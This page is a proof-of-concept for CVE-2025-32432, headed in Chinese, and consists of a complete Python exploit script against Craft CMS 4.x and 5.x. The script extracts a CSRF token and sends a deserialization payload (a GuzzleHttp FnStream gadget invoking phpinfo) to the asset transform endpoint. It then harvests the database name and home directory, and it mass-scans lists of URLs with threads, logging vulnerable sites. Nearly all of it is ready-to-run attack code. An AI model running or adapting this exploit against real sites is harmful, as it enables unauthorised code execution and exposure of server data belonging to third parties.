CVE-2025-32432｜Craft CMS反序列化代码执行漏洞（POC）

#!/usr/bin/env python3
"""
CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani
This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x.
It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint.

The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation.

Usage:
    Single target:
        python3 craftcms_rce.py -u example.com

    Multiple targets:
        python3 craftcms_rce.py -f urls.txt -t 10
"""

import argparse
import concurrent.futures
import re
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CraftCMSExploit:
    def __init__(self, url):
        """Initialize the exploit with the target URL."""
        self.url = url if url.endswith('/') else url + '/'
        self.session = requests.Session()
        self.session.verify = False
        self.session.timeout = 15
        self.session.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
        }

    def normalize_url(self, url):
        """Ensure URL has a scheme."""
        if not url.startswith('http'):
            url = 'http://' + url
        return url

    def extract_csrf_token(self):
        """Get the CSRF token from the dashboard page."""
        try:
            dashboard_url = self.url + "index.php?p=admin/dashboard"
            response = self.session.get(dashboard_url, timeout=10)

            if response.status_code == 200:
                # Parse the HTML response
                soup = BeautifulSoup(response.text, 'html.parser')
                csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})

                if csrf_input and csrf_input.get('value'):
                    csrf_token = csrf_input.get('value')
                    return csrf_token
                else:
                    # Try regex as fallback
                    match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text)
                    if match:
                        return match.group(1)

            return None
        except Exception as e:
            print(f"Error extracting CSRF token from {self.url}: {str(e)}")
            return None

    def exploit(self):
        """Attempt to exploit the vulnerability and return results."""
        result = {
            'url': self.url,
            'vulnerable': False,
            'db_name': None,
            'home_dir': None,
            'error': None
        }

        try:
            # Extract CSRF token
            csrf_token = self.extract_csrf_token()
            if not csrf_token:
                result['error'] = "Failed to extract CSRF token"
                return result

            # Prepare exploit request
            exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform"
            headers = {
                'Content-Type': 'application/json',
                'X-CSRF-Token': csrf_token
            }

            payload = {
                "assetId": 11,
                "handle": {
                    "width": 123,
                    "height": 123,
                    "as session": {
                        "class": "craft\\behaviors\\FieldLayoutBehavior",
                        "__class": "GuzzleHttp\\Psr7\\FnStream",
                        "__construct()": [[]],
                        "_fn_close": "phpinfo"
                    }
                }
            }

            response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15)

            # Check if the exploit succeeded
            if 'PHP Version' in response.text and 'PHP License' in response.text:
                result['vulnerable'] = True

                # Extract CRAFT_DB_DATABASE value
                db_match = re.search(r'<tr><td class="e">CRAFT_DB_DATABASE\s*</td><td class="v">([^<]+)</td></tr>', response.text)
                if db_match:
                    result['db_name'] = db_match.group(1).strip()

                # Extract HOME directory value
                home_match = re.search(r'<tr><td class="e">\$_SERVER\[\'HOME\'\]</td><td class="v">([^<]+)</td></tr>', response.text)
                if home_match:
                    result['home_dir'] = home_match.group(1).strip()

                # If HOME is not found, try to find it in a different format
                if not result['home_dir']:
                    alt_home_match = re.search(r'<tr><td class="e">HOME</td><td class="v">([^<]+)</td></tr>', response.text)
                    if alt_home_match:
                        result['home_dir'] = alt_home_match.group(1).strip()

            return result

        except Exception as e:
            result['error'] = str(e)
            return result

def process_url(url):
    """Process a single URL."""
    try:
        # Normalize URL
        if not url.startswith('http'):
            url = 'http://' + url

        print(f"[*] Testing {url}")
        exploit = CraftCMSExploit(url)
        result = exploit.exploit()

        if result['vulnerable']:
            print(f"[+] VULNERABLE: {url}")
            print(f"    CRAFT_DB_DATABASE: {result['db_name'] or 'Not found'}")
            print(f"    HOME Directory: {result['home_dir'] or 'Not found'}")
            with open('vulnerable.txt', 'a') as f:
                f.write(f"{url},{result['db_name'] or 'Not found'},{result['home_dir'] or 'Not found'}\n")
        elif result['error']:
            print(f"[-] ERROR ({url}): {result['error']}")
        else:
            print(f"[-] Not vulnerable: {url}")

        return result
    except Exception as e:
        print(f"[-] Error processing {url}: {str(e)}")
        return {'url': url, 'vulnerable': False, 'error': str(e)}

def main():
    parser = argparse.ArgumentParser(description='CraftCMS CVE-2025-32432 RCE Exploit')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-f', '--file', help='File containing URLs to test')
    group.add_argument('-u', '--url', help='Single URL to test')
    parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads (default: 5)')
    args = parser.parse_args()

    urls = []

    # Handle single URL mode
    if args.url:
        urls = [args.url]
        print(f"[*] Testing single target: {args.url}")
    # Handle file mode
    elif args.file:
        try:
            with open(args.file, 'r') as f:
                urls = [line.strip() for line in f if line.strip()]
            print(f"[*] Loaded {len(urls)} URLs from {args.file}")
        except Exception as e:
            print(f"Error reading URL file: {str(e)}")
            sys.exit(1)

    print(f"[*] Starting scan with {args.threads} threads")

    # Create results file for vulnerable sites
    with open('vulnerable.txt', 'w') as f:
        f.write("url,craft_db_database,home_directory\n")

    # Process URLs using thread pool
    results = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
        results = list(executor.map(process_url, urls))

    # Summary
    vulnerable_count = sum(1 for r in results if r['vulnerable'])
    print("\n=== SCAN SUMMARY ===")
    print(f"Total URLs scanned: {len(urls)}")
    print(f"Vulnerable sites: {vulnerable_count}")
    print(f"Detailed results saved to vulnerable.txt")

if __name__ == "__main__":
    main()